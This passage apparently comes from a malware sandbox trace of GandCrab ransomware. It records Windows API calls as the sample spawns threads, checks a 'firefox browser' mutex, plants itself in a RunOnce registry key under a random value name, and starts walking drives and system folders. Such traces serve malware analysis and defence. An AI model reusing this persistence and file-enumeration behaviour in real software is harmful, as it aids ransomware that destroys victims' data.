Msg=0x14, wParam=0xa0100d0, lParam=0x0) returned 0x1 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x47, wParam=0x0, lParam=0x1f1fd34) returned 0x0 [0121.698] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x31f, wParam=0x0, lParam=0x0) returned 0x0 [0121.698] GetMessageW (in: lpMsg=0x1f1ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f1ff64) returned 1 [0121.698] TranslateMessage (lpMsg=0x1f1ff64) returned 0 [0121.698] DispatchMessageW (lpMsg=0x1f1ff64) returned 0x0 [0121.698] BeginPaint (in: hWnd=0x201f0, lpPaint=0x1f1fcb8 | out: lpPaint=0x1f1fcb8) returned 0xa0100d0 [0121.698] lstrlenW (lpString="GandCrab!") returned 9 [0121.698] TextOutW (hdc=0xa0100d0, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0121.698] EndPaint (hWnd=0x201f0, lpPaint=0x1f1fcb8) returned 1 [0121.698] GetMessageW (in: lpMsg=0x1f1ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f1ff64) returned 1 [0121.699] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7f, wParam=0x1, lParam=0x60) returned 0x0 [0121.700] TranslateMessage (lpMsg=0x1f1ff64) returned 0 [0121.700] DispatchMessageW (lpMsg=0x1f1ff64) returned 0x0 [0121.700] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0xc0c1, wParam=0x0, lParam=0x0) returned 0x0 [0121.700] GetMessageW (lpMsg=0x1f1ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0121.700] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7f, wParam=0x2, lParam=0x60) returned 0x0 [0121.700] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7f, wParam=0x0, lParam=0x60) returned 0x0 [0121.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8 [0121.719] DestroyWindow (hWnd=0x201f0) returned 1 [0121.719] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.719] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x46, wParam=0x0, lParam=0x1f1fcb4) returned 0x0 [0121.719] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x47, wParam=0x0, lParam=0x1f1fcb4) returned 0x0 [0121.734] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0121.734] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0121.735] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x1c, wParam=0x0, lParam=0x7f4) returned 0x0 [0121.735] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0121.735] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0121.735] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0121.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0121.736] DestroyWindow (hWnd=0x201f0) returned 1 [0121.736] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0121.736] DestroyWindow (hWnd=0x201f0) returned 1 [0121.736] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0121.737] DestroyWindow (hWnd=0x201f0) returned 1 [0121.737] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0121.737] DestroyWindow (hWnd=0x201f0) returned 1 [0121.737] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0121.743] DestroyWindow (hWnd=0x201f0) returned 1 [0121.743] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0121.743] DestroyWindow (hWnd=0x201f0) returned 1 [0121.743] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0121.744] DestroyWindow (hWnd=0x201f0) returned 1 [0121.744] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0121.744] DestroyWindow (hWnd=0x201f0) returned 1 [0121.744] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0121.745] DestroyWindow (hWnd=0x201f0) returned 1 [0121.745] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0121.745] DestroyWindow (hWnd=0x201f0) returned 1 [0121.746] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0121.746] DestroyWindow (hWnd=0x201f0) returned 1 [0121.746] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0121.747] DestroyWindow (hWnd=0x201f0) returned 1 [0121.747] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0121.748] DestroyWindow (hWnd=0x201f0) returned 1 [0121.748] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0121.748] DestroyWindow (hWnd=0x201f0) returned 1 [0121.748] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0121.749] DestroyWindow (hWnd=0x201f0) returned 1 [0121.749] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0121.750] DestroyWindow (hWnd=0x201f0) returned 1 [0121.750] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0121.750] DestroyWindow (hWnd=0x201f0) returned 1 [0121.751] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0121.751] DestroyWindow (hWnd=0x201f0) returned 1 [0121.751] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0121.752] DestroyWindow (hWnd=0x201f0) returned 1 [0121.752] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0121.753] DestroyWindow (hWnd=0x201f0) returned 1 [0121.753] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0121.753] DestroyWindow (hWnd=0x201f0) returned 1 [0121.754] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0121.754] DestroyWindow (hWnd=0x201f0) returned 1 [0121.754] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0121.755] DestroyWindow (hWnd=0x201f0) returned 1 [0121.755] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0121.756] DestroyWindow (hWnd=0x201f0) returned 1 [0121.756] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0121.756] DestroyWindow (hWnd=0x201f0) returned 1 [0121.756] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0121.757] DestroyWindow (hWnd=0x201f0) returned 1 [0121.757] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0121.758] DestroyWindow (hWnd=0x201f0) returned 1 [0121.758] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0121.758] DestroyWindow (hWnd=0x201f0) returned 1 [0121.759] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0121.759] DestroyWindow (hWnd=0x201f0) returned 1 [0121.759] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0121.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0121.760] DestroyWindow (hWnd=0x201f0) returned 1 Thread: id = 49 os_tid = 0x7a8 [0121.718] SendMessageW (hWnd=0x201f0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0xdeadbeef [0121.766] RtlExitUserThread (Status=0x0) Thread: id = 50 os_tid = 0x7b0 [0121.784] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x1b4 [0121.784] GetLastError () returned 0x0 [0121.784] GetLastError () returned 0x0 [0121.784] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.786] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x390000, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0121.786] GetTempPathW (in: nBufferLength=0x100, lpBuffer=0x390202 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0121.786] lstrlenW (lpString="PRIDUR") returned 6 [0121.786] CryptAcquireContextW (in: phProv=0x255ff3c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x255ff3c*=0x2c4578) returned 1 [0121.799] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x3000, flProtect=0x40) returned 0x3a0000 [0121.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0121.800] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0121.800] CryptGenRandom (in: hProv=0x2c4578, dwLen=0x6, pbBuffer=0x3a0000 | out: pbBuffer=0x3a0000) returned 1 [0121.800] CryptReleaseContext (hProv=0x2c4578, dwFlags=0x0) returned 1 [0121.800] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.800] GetEnvironmentVariableW (in: lpName="AppData", lpBuffer=0x390202, nSize=0x100 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 0x25 [0121.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0121.800] wsprintfW (in: param_1=0x390404, param_2="\"%s\"" | out: param_1="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0121.800] lstrlenW (lpString="PRIDURASHKA") returned 11 [0121.800] CryptAcquireContextW (in: phProv=0x255fea4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x255fea4*=0x2c4578) returned 1 [0121.801] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x40) returned 0x3a0000 [0121.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0121.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0121.801] CryptGenRandom (in: hProv=0x2c4578, dwLen=0xb, pbBuffer=0x3a0000 | out: pbBuffer=0x3a0000) returned 1 [0121.801] CryptReleaseContext (hProv=0x2c4578, dwFlags=0x0) returned 1 [0121.801] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.801] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x255ff44, lpdwDisposition=0x0 | out: phkResult=0x255ff44*=0x260, lpdwDisposition=0x0) returned 0x0 [0121.801] lstrlenW (lpString="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0121.801] RegSetValueExW (in: hKey=0x260, lpValueName="ycjblgkfwuv", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", cbData=0x78 | out: lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 0x0 [0121.802] RegCloseKey (hKey=0x260) returned 0x0 [0121.802] RtlExitUserThread (Status=0x0) Thread: id = 51 os_tid = 0x7a0 [0121.809] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x260 [0121.809] GetLastError () returned 0xb7 [0121.809] GetLastError () returned 0xb7 [0121.809] RtlExitUserThread (Status=0x0) Thread: id = 52 os_tid = 0x824 [0121.810] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x264 [0121.810] GetLastError () returned 0xb7 [0121.810] GetLastError () returned 0xb7 [0121.810] RtlExitUserThread (Status=0x0) Thread: id = 53 os_tid = 0x820 [0121.810] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x268 [0121.810] GetLastError () returned 0xb7 [0121.810] GetLastError () returned 0xb7 [0121.810] RtlExitUserThread (Status=0x0) Thread: id = 54 os_tid = 0x75c [0121.811] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x26c [0121.811] GetLastError () returned 0xb7 [0121.811] GetLastError () returned 0xb7 [0121.811] RtlExitUserThread (Status=0x0) Thread: id = 55 os_tid = 0x814 [0121.811] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x270 [0121.811] GetLastError () returned 0xb7 [0121.811] GetLastError () returned 0xb7 [0121.811] RtlExitUserThread (Status=0x0) Thread: id = 56 os_tid = 0x81c [0121.812] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x274 [0121.812] GetLastError () returned 0xb7 [0121.812] GetLastError () returned 0xb7 [0121.812] RtlExitUserThread (Status=0x0) Thread: id = 57 os_tid = 0x838 [0121.813] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x278 [0121.813] GetLastError () returned 0xb7 [0121.813] GetLastError () returned 0xb7 [0121.813] RtlExitUserThread (Status=0x0) Thread: id = 58 os_tid = 0x804 [0121.813] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x27c [0121.813] GetLastError () returned 0xb7 [0121.813] GetLastError () returned 0xb7 [0121.813] RtlExitUserThread (Status=0x0) Thread: id = 59 os_tid = 0x610 [0121.814] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x280 [0121.814] GetLastError () returned 0xb7 [0121.814] GetLastError () returned 0xb7 [0121.814] RtlExitUserThread (Status=0x0) Thread: id = 60 os_tid = 0xbf0 [0121.814] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x284 [0121.814] GetLastError () returned 0xb7 [0121.814] GetLastError () returned 0xb7 [0121.814] RtlExitUserThread (Status=0x0) Thread: id = 61 os_tid = 0xb80 [0121.815] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x288 [0121.815] GetLastError () returned 0xb7 [0121.815] GetLastError () returned 0xb7 [0121.815] RtlExitUserThread (Status=0x0) Thread: id = 62 os_tid = 0x900 [0121.815] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x28c [0121.815] GetLastError () returned 0xb7 [0121.815] GetLastError () returned 0xb7 [0121.815] RtlExitUserThread (Status=0x0) Thread: id = 63 os_tid = 0xbec [0121.820] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x290 [0121.820] GetLastError () returned 0xb7 [0121.820] GetLastError () returned 0xb7 [0121.820] RtlExitUserThread (Status=0x0) Thread: id = 64 os_tid = 0xb5c [0121.820] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x294 [0121.820] GetLastError () returned 0xb7 [0121.820] GetLastError () returned 0xb7 [0121.820] RtlExitUserThread (Status=0x0) Thread: id = 65 os_tid = 0x7f0 [0121.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x298 [0121.821] GetLastError () returned 0xb7 [0121.821] GetLastError () returned 0xb7 [0121.821] RtlExitUserThread (Status=0x0) Thread: id = 66 os_tid = 0xad4 [0121.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x29c [0121.821] GetLastError () returned 0xb7 [0121.821] GetLastError () returned 0xb7 [0121.821] RtlExitUserThread (Status=0x0) Thread: id = 67 os_tid = 0xad8 [0121.822] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a0 [0121.822] GetLastError () returned 0xb7 [0121.822] GetLastError () returned 0xb7 [0121.822] RtlExitUserThread (Status=0x0) Thread: id = 68 os_tid = 0x8cc [0121.822] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a4 [0121.823] GetLastError () returned 0xb7 [0121.823] GetLastError () returned 0xb7 [0121.823] RtlExitUserThread (Status=0x0) Thread: id = 69 os_tid = 0x2cc [0121.823] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a8 [0121.823] GetLastError () returned 0xb7 [0121.823] GetLastError () returned 0xb7 [0121.823] RtlExitUserThread (Status=0x0) Thread: id = 70 os_tid = 0x2e0 [0121.824] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2ac [0121.824] GetLastError () returned 0xb7 [0121.824] GetLastError () returned 0xb7 [0121.824] RtlExitUserThread (Status=0x0) Thread: id = 71 os_tid = 0x77c [0121.825] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b0 [0121.825] GetLastError () returned 0xb7 [0121.825] GetLastError () returned 0xb7 [0121.825] RtlExitUserThread (Status=0x0) Thread: id = 72 os_tid = 0x868 [0121.825] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b4 [0121.825] GetLastError () returned 0xb7 [0121.825] GetLastError () returned 0xb7 [0121.825] RtlExitUserThread (Status=0x0) Thread: id = 73 os_tid = 0x7fc [0121.826] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b8 [0121.826] GetLastError () returned 0xb7 [0121.826] GetLastError () returned 0xb7 [0121.826] RtlExitUserThread (Status=0x0) Thread: id = 74 os_tid = 0x87c [0121.826] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2bc [0121.827] GetLastError () returned 0xb7 [0121.827] GetLastError () returned 0xb7 [0121.827] RtlExitUserThread (Status=0x0) Thread: id = 75 os_tid = 0x7ec [0121.827] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c0 [0121.827] GetLastError () returned 0xb7 [0121.827] GetLastError () returned 0xb7 [0121.827] RtlExitUserThread (Status=0x0) Thread: id = 76 os_tid = 0x4b8 [0121.828] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c4 [0121.828] GetLastError () returned 0xb7 [0121.828] GetLastError () returned 0xb7 [0121.828] RtlExitUserThread (Status=0x0) Thread: id = 77 os_tid = 0xaa8 [0121.828] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c8 [0121.828] GetLastError () returned 0xb7 [0121.828] GetLastError () returned 0xb7 [0121.828] RtlExitUserThread (Status=0x0) Thread: id = 78 os_tid = 0xab4 [0121.829] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2cc [0121.829] GetLastError () returned 0xb7 [0121.829] GetLastError () returned 0xb7 [0121.829] RtlExitUserThread (Status=0x0) Thread: id = 79 os_tid = 0xb68 [0121.829] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2d0 [0121.829] GetLastError () returned 0xb7 [0121.829] GetLastError () returned 0xb7 [0121.829] RtlExitUserThread (Status=0x0) Thread: id = 80 os_tid = 0x950 [0121.830] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2d4 [0121.830] GetLastError () returned 0xb7 [0121.830] GetLastError () returned 0xb7 [0121.830] RtlExitUserThread (Status=0x0) Thread: id = 81 os_tid = 0xb98 Thread: id = 82 os_tid = 0xbb4 Thread: id = 83 os_tid = 0xa74 Thread: id = 90 os_tid = 0xbd8 [0135.152] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2710000 [0135.152] wsprintfW (in: param_1=0x2710000, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0135.152] VirtualAlloc (lpAddress=0x0, dwSize=0x9c40, flAllocationType=0x3000, flProtect=0x4) returned 0x2720000 [0135.152] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.152] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.153] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.154] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.154] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.154] lstrlenW (lpString="C:\\") returned 3 [0135.154] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0135.154] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0x2c7900 [0135.154] lstrcmpW 